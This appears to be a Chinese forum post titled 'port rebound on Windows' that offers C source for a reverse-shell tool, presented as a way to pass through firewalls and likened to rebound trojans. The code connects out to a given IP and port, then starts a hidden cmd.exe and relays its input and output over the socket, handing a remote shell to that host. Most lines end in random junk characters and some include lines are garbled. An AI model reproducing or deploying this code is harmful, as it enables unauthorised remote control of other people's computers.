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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 foP>w4pB  
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/* ============================== /v;)H#;  
Rebound port in Windows NT #ejw@bd  
By wind,2006/7 Jv4D^>yj[  
===============================*/ +DbWMm  
#include "o5gQTwb  
#include 33,JUQ2u  
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#pragma comment(lib,"wsock32.lib") yV+ E;  
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void OutputShell(); kT } '"  
SOCKET sClient; jhEg#Q$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]ZryY EB  
&Lt$a_y>  
void main(int argc,char **argv) Rm\ '];  
{ u6S0t?Udap  
WSADATA stWsaData; 4htSwK+  
int nRet; ==jw3_W  
SOCKADDR_IN stSaiClient,stSaiServer; L/iVs`qF  
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if(argc != 3) a@_Cx  
{ :C:N]6_{SZ  
printf("Useage:\n\rRebound DestIP DestPort\n"); :?:j$ =nWN  
return; ,O&PLr8cJ?  
} ^ yukn*L  
F#}1{$)% /  
WSAStartup(MAKEWORD(2,2),&stWsaData); N;`[R>Z~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s eZ<52f2  
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stSaiClient.sin_family = AF_INET; vo( j@+dz  
stSaiClient.sin_port = htons(0); y'2kV6TtqD  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w[$nO#  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .dKRIFo  
{ MkNURy>n&  
printf("Bind Socket Failed!\n"); j'40>Ct=i  
return; <Ec)m69P  
} Va |9)m  
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stSaiServer.sin_family = AF_INET; +S5_J&~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r(in]7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gM5p1?E  
X,Q=n2X?3  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tId !C  
{ IL6f~!  
printf("Connect Error!"); "k1Tsd-  
return; =@jMx^A"  
} ks#Z~6+3  
OutputShell(); /jn3'q_,  
} &pY G   
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void OutputShell() i(f;'fb*  
{ `jQ}^wEgu  
char szBuff[1024]; E#2k|TpH4  
SECURITY_ATTRIBUTES stSecurityAttributes; GWqY$YT  
OSVERSIONINFO stOsversionInfo; dK;\`>8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jme5'FR  
STARTUPINFO stStartupInfo; 3 cW"VrFy9  
char *szShell; ,S0~:c:)  
PROCESS_INFORMATION stProcessInformation; Mm7n?kb6  
unsigned long lBytesRead; q}F%o0  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CygV_q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BSu)O~s  
stSecurityAttributes.lpSecurityDescriptor = 0; G* ~*2>~  
stSecurityAttributes.bInheritHandle = TRUE; Is6']bYh  
^'I5]cRa  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^RyTK|SQ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]vkHU6d  
:0j`yo:w  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]|La MMD  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hCvLwZ?LF  
stStartupInfo.wShowWindow = SW_HIDE; ryp$|?ckJ  
stStartupInfo.hStdInput = hReadPipe; #Xw[i  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +ZA\ M:^b  
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GetVersionEx(&stOsversionInfo); kbT-Oz  2  
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switch(stOsversionInfo.dwPlatformId) 4Z~Dxo  
{ OZ14-}Lr5  
case 1: U>-#('  
szShell = "command.com"; ;ld~21#m  
break; 2[&-y[1  
default: I;Fy k70w;  
szShell = "cmd.exe"; / >. X+N  
break; D:vUy*  
} lvJ{=~u  
V\`= "  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3pv1L~ ZI  
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send(sClient,szMsg,77,0); r\ Yur  
while(1) >;r05,mc  
{ G{Enh<V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DD$P r&~=  
if(lBytesRead) Ru')X{]25  
{ )zt4'b\)v  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <$6'Mzf  
send(sClient,szBuff,lBytesRead,0); {BCj VmY  
} HeifFJn  
else N5Mz=UgB  
{ yW(+?7U  
lBytesRead=recv(sClient,szBuff,1024,0); ZpctsCz]  
if(lBytesRead<=0) break; J'c9577$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5"~^;O  
} 5 ^z ,'C  
} $(L7/M  
Hpg;?xAT  
return; 71&+dC  
}
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